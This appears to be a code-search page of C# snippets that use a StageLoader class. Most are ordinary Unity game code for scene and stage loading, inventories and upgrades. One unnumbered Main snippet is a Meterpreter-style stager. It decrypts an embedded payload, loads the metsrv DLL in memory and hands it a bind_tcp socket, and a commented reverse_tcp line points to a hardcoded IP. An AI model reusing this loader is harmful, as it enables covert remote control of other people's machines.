Exemple #1
0
        private IEnumerator loadScene(string sceneName, LuaTable newStage)
        {
            LuaTable lastStage = curStage;

            curStage = newStage;


            CallFunction(lastStage, "onExit");

            stageLoader = new StageLoader();
            CallFunction(newStage, "onEnter", stageLoader);

            while (stageLoader.MoveNext())
            {
                yield return(null);
            }

            UnityEngine.SceneManagement.SceneManager.LoadScene(sceneName);

            while (UnityEngine.SceneManagement.SceneManager.GetActiveScene().name != sceneName)
            {
                yield return(null);
            }

            //wait a frame
            yield return(null);

            this.OnCompleted();

            CallFunction(newStage, "onShow");
        }
Exemple #2
0
    public int[] itemInventory_;        //0 : none, 1: buy, 2: buy and used

    private void Awake()
    {
        playerScript_ = GameObject.Find("Player").GetComponent <PlayerScript>();
        worldScript_  = gameObject.GetComponent <WorldScript>();
        stageLoader_  = gameObject.GetComponent <StageLoader>();
        shopScript_   = GameObject.Find("ShopUI").GetComponent <ShopScript>();

        TimeText_     = GameObject.Find("UI").transform.Find("Time").GetComponent <Text>();
        FishText_     = GameObject.Find("UI").transform.Find("Fish").GetComponent <Text>();
        DistanceText_ = GameObject.Find("UI").transform.Find("Distance").GetComponent <Text>();
        SpeedText_    = GameObject.Find("UI").transform.Find("Speed").GetComponent <Text>();

        // create object instanace
        fishPool_      = new GameObject[FISH_INSCREEN_MAX_NUM];
        largeHolePool_ = new GameObject[LARGE_HOLE_INSCREEN_MAX_NUM];
        fishHolePool_  = new GameObject[FISH_HOLE_INSCREEN_MAX_NUM];
        crackPool_     = new GameObject[CRACK_INSCREEN_MAX_NUM];
        rockPool_      = new GameObject[ROCK_INSCREEN_MAX_NUM];
        shopPool_      = new GameObject[SHOP_INSCREEN_MAX_NUM];

        DebugText_ = GameObject.Find("UI").transform.Find("Debug").GetComponent <Text>();

        itemInventory_ = new int[(int)Constant.ItemDef.TOTALITEMCOUNT];
        for (int i = 0; i < (int)Constant.ItemDef.TOTALITEMCOUNT; ++i)
        {
            itemInventory_[i] = 0;
        }
        //currentStage_ = 1;
    }
Exemple #3
0
    // Start is called before the first frame update
    void Start()
    {
        if (instance == null)
        {
            instance = this;
            //DontDestroyOnLoad(gameObject);
        }
        else
        {
            Destroy(gameObject);
        }


        // 현재 스테이지의 기존 최고 점수를 게임 플레이 환경에 전달
        // 플레이 종료 시점에 플레이어의 기록과 전달된 기존 기록을 비교해 최고 점수 여부를 판별
        List <int> stepScoreList = DataContainer.instance.GetGameRecordStagesStep(loadLevel);

        for (int i = 0; i < 9 - stepScoreList.Count; i++)
        {
            stepScoreList.Add(int.MaxValue);
        }

        BrickDataContainer.SetCurStageBestStep(stepScoreList[loadStage - 1]);

        stageInfos = new StageInfo[3];

        LoadStageInfoFromJson();
    }
Exemple #4
0
 void Start()
 {
     DontDestroyOnLoad(gameObject);
     stageThings = new StageThing[100];
     main        = this;
     LoadStage(defaultStage);
 }
Exemple #5
0
 private void Awake()
 {
     if (instance == null)
     {
         container      = this.gameObject;
         container.name = "StageLoader";
         instance       = GetComponent <StageLoader>();
         DontDestroyOnLoad(this);
     }
 }
Exemple #6
0
    public void LoadTargetStage_CHEAT()
    {
        int level = int.Parse(levelInput.text);
        int stage = int.Parse(stageInput.text);

        LogMonitor.instance.AddLog($"## CHEAT CALLED ##");
        LogMonitor.instance.AddLog($"lv : {level}, st : {stage}");

        StageLoader.LoadStage(level, stage);
        LoadingManager.instance.LoadScene("IngameScene");
    }
Exemple #7
0
        /// <summary>
        /// 异步加载本地当前场景切换
        /// </summary>
        /// <param name="newStage">场景Lua状态</param>
        /// <param name="process">加载进度</param>
        public void LoadLocalScene(LuaTable newStage, Action <float> process)
        {
            LuaTable lastStage = curStage;

            curStage = newStage;

            stageLoader = new StageLoader();

            CallFunction(lastStage, "onExit");

            luaMgr.StartCoroutine(this.onLoading(process));
        }
Exemple #8
0
    void OnSceneLoaded(Scene scene, LoadSceneMode mode)
    {
        isChangingState                 = false;
        blackPanelAlpha.startValue      = 1f;
        blackPanelAlpha.endValue        = 0f;
        blackPanelAlpha.TweenCompleted += SceneFadeinFinishEvent;
        blackPanelAlpha.Begin();
        blackPanelAlpha.value = blackPanelAlpha.startValue;

        if (scene.buildIndex == (int)SCENE_INDEX.GAMESTAGE)
        {
            StageLoader.Instance().SetStage(StageLoader.NextStage);
            gameControlObj.SetActive(true);
            topCanvas.sortingOrder = 10;

            ReturnButton.SetActive(true);
            SettingShowButton.SetActive(true);

            if (StageLoader.CurrentStage == 1)
            {
                PlayerManager.Instance().playerController.isFainting = true;
            }

            GameManager.Instance().Time_LatestStartGame = DateTime.UtcNow;

            // #### TEST
            if (GameManager.Instance().IsTestMode)
            {
                testButton.gameObject.SetActive(true);
            }
            else
            {
                testButton.gameObject.SetActive(false);
            }
        }
        else
        {
            StageLoader.Instance().DisableStage();
            gameControlObj.SetActive(false);
            topCanvas.sortingOrder = 0;

            ReturnButton.SetActive(false);
            SettingShowButton.SetActive(false);

            testButton.gameObject.SetActive(false);
        }

        PlayerManager.Instance().IsTriggerEnding = false;

        StartBGM(scene);
        ChangeEnvironment(scene);
    }
Exemple #9
0
    public void OnGetShard(MemoryShard shard)
    {
        if (shard.GetShardType() == SHARD_TYPE.SHARD1 ||
            shard.GetShardType() == SHARD_TYPE.SHARD2)
        {
            int resultShardAmount = (int)(StageLoader.Instance().GetRandomShard(shard.GetShardType()) * StageLoader.Instance().GetShardMultifly());

            PlayerStatus.CurrentMemoryShards += resultShardAmount;
            playerController.ShowShardGetText(resultShardAmount);
        }

        TopMostControl.Instance().StartGlobalLightEffect(shard.GetShardTargetColor(), 0.5f, 0.1f);
        GetPlayerControl().BlinkPlayerShardLight(shard.GetShardTargetColor());
        SoundManager.PlayOneShotSound(SoundContainer.Instance().SoundEffectsDic[GameStatics.sound_gainShard], SoundContainer.Instance().SoundEffectsDic[GameStatics.sound_gainShard].clip);
    }
        static void Main()
        {
            //byte[] dataBuff = null;
            //dataBuff = StageLoader.LoadBinData("192.168.190.52", 4444);
            //StageLoader.ExecuteBin(dataBuff);

            //load dll and m
            // load metsrv.x86.dll, call Init(socketFD)
            //string dll = @"C:\code\Repos\meterpreter\workspace\metsrv\Debug\Win32\metsrv.x86.dll";
            ////Load
            //IntPtr Handle = StageLoader.LoadLibrary(dll);
            //if (Handle == IntPtr.Zero)
            //{
            //    int errorCode = Marshal.GetLastWin32Error();
            //    throw new Exception(string.Format("Failed to load library (ErrorCode: {0})", errorCode));
            //}

            try
            {
                byte[] oldData = MpCsLoader.Properties.Resources.mpenc;
                byte[] dllData = Shared.Encryptor.DecryptData("intelnuc", oldData);

                IntPtr mod = MemoryLibrary.MemoryLoadLibrary(dllData, new string[] { });
                unsafe
                {
                    IntPtr init = MemoryLibrary.MemoryGetProcAddress((MemoryLibrary.MEMORYMODULE *)mod.ToPointer(), "Init");
                    MpInit func = (MpInit)Marshal.GetDelegateForFunctionPointer(init, typeof(MpInit));

                    // bind_tcp
                    int sockfd = StageLoader.LoadBinData(null, 874);
                    // reverse_tcp
                    //int sockfd = StageLoader.LoadBinData("192.168.190.52", 4444);
                    func(sockfd);
                }
            }//hehe
            catch (Exception x)
            {
                Console.WriteLine(x.ToString());
            }



            //StageLoader.Init(sockfd);

            //Free
            //if (Handle != IntPtr.Zero)
            //    StageLoader.FreeLibrary(Handle);
        }
Exemple #11
0
    void OnClickUpgradeButton(SKILL_TYPE skillType)
    {
        // Upgrade Possible
        if ((GetRequiredShardsForUpgrade(skillType) <= PlayerManager.Instance().PlayerStatus.CurrentMemoryShards) &&
            (currentGameUIStatus == TOPUI_STATUS.GAMEOVER))
        {
            int requiredShards = GetRequiredShardsForUpgrade(skillType);

            PlayerManager.Instance().PlayerStatus.CurrentMemoryShards -= requiredShards;
            GameConfigs.SetCurrentMemoryShards(PlayerManager.Instance().PlayerStatus.CurrentMemoryShards);

            GameConfigs.SetSkillLevel(skillType, GameConfigs.SkillLevel(skillType) + 1);

            foreach (UpgradeElement element in upgradeElements)
            {
                element.SetInfo();
            }


            int effectShardAmount = (GameConfigs.SkillLevel(skillType) / 3) + 1;

            if (effectShardAmount < 1)
            {
                effectShardAmount = 1;
            }
            if (effectShardAmount > 10)
            {
                effectShardAmount = 10;
            }

            StageLoader.Instance().Generate_SkillUpgradeEffectShards(skillType, effectShardAmount);

            Vibration.Vibrate(3);
            StartGlobalLightEffect(Color.white, 1f, 0.2f);
            SoundManager.PlayOneShotSound(SoundContainer.Instance().SoundEffectsDic[GameStatics.sound_powerUp], SoundContainer.Instance().SoundEffectsDic[GameStatics.sound_powerUp].clip);

            if (onCameraShake != null)
            {
                onCameraShake(2);
            }
        }
    }
Exemple #12
0
        /// <summary>
        /// 加载切块的场景
        /// </summary>
        /// <param name="newStage">场景Lua状态</param>
        public void LoadChunkScene(LuaTable newStage)
        {
            LuaTable lastStage = curStage;

            curStage = newStage;

            //下个场景名
            string sceneName = newStage.GetStringField("stageName");

            nextSceneName = sceneName;

            //过渡场景名
            string transitScene = newStage.GetStringField("transitScene");

            stageLoader = new StageLoader();

            CallFunction(lastStage, "onExit");

            UnityEngine.SceneManagement.SceneManager.LoadScene(transitScene);
        }
Exemple #13
0
    void Start()
    {
        Cursor.visible   = false;
        Cursor.lockState = CursorLockMode.Locked;

        // Dialogs
        noSaveDataDialog.SetActive(false);
        saveDataExistsDialog.SetActive(false);
        settingsDialog.SetActive(false);
        quitDialog.SetActive(false);

        // Indicator
        Vector3 origin = menu_1.transform.position;

        origin.x += 2.5f;
        indicator.transform.position = origin;

        stageLoader = loading_1.GetComponent <StageLoader>();

        PlayBgm();
    }
Exemple #14
0
    public void SetPlayerController(bool active, bool isRightInit = true)
    {
        if (playerController.transform.parent != this.transform)
        {
            playerController.transform.parent = this.transform;
        }

        playerController.gameObject.SetActive(active);

        if (active)
        {
            playerController.transform.position = StageLoader.Instance().GetCurrentStage().GetPlayerInitPos().position;

            Vector3 tVec = playerController.playerAnimator.transform.localScale;
            if ((isRightInit && tVec.x < 0) ||
                (!isRightInit && tVec.x > 0))
            {
                tVec.x *= -1;
                playerController.playerAnimator.transform.localScale = tVec;
            }
        }
    }
    /// <summary>
    /// 스테이지 선택 함수
    /// </summary>
    /// <param name="stage">선택 스테이지.</param>
    public void SelectStage(int stage)
    {
        environmentAnim.SetTrigger("isEnter");

        // 로딩시 출력 팁 선택
        int tipOrder = -1;

        if (curSelectLevel == 1)
        {
            if (stage == 1)
            {
                tipOrder = 0;
            }
            else if (stage == 2)
            {
                tipOrder = 1;
            }
        }


        LoadingManager.instance.SetTip(tipOrder);
        StageLoader.LoadStage(curSelectLevel, stage);
        LoadingManager.instance.LoadScene("IngameScene", curSelectLevel, stage);
    }
Exemple #16
0
        void Start()
        {
            sceneStageMgr = SceneStageManager.Instance;
            Loader        = sceneStageMgr.stageLoader;

            if (Time.timeScale <= 0f && !timeScaleIndependent)
            {
                Debug.LogWarning("Time.timeScale is set to 0 and you have not enabled 'Time Scale Independent' at the transition prefab. " +
                                 "Therefore the transition animation would never start to play. Please either check the 'Time Scale Independent' checkbox" +
                                 "at the transition prefab or set Time.timeScale to a positive value before changing the level.", this);
                return; // do not do anything in this case.
            }


            if (prefetchLevel)
            {
                Debug.LogWarning("You can only prefetch the level when using asynchronous loading. " +
                                 "Please either uncheck the 'Prefetch Level' checkbox on your level transition prefab or check the " +
                                 "'Load Async' checkbox. Note, that asynchronous loading (and therefore level prefetching) requires a Unity Pro license.", this);
                return; // don't do anything in this case.
            }

            StartCoroutine(DoTransition());
        }
Exemple #17
0
 private void Awake()
 {
     instance = this;
 }
 private static IEnumerator FadeInNewStage(int stageGroup, int stage, Action fadeCompleteCallBack = null, Action completeCallBack = null)
 {
     return(StageLoader.LoadStageWithFade(stageGroup, stage, fadeCompleteCallBack, completeCallBack));
 }
Exemple #19
0
 public void Load(StageLoader loader)
 {
     Debug.Log($"Sending to stage {stageNumber}: {stageName}");
     loader.LoadStage(this);
 }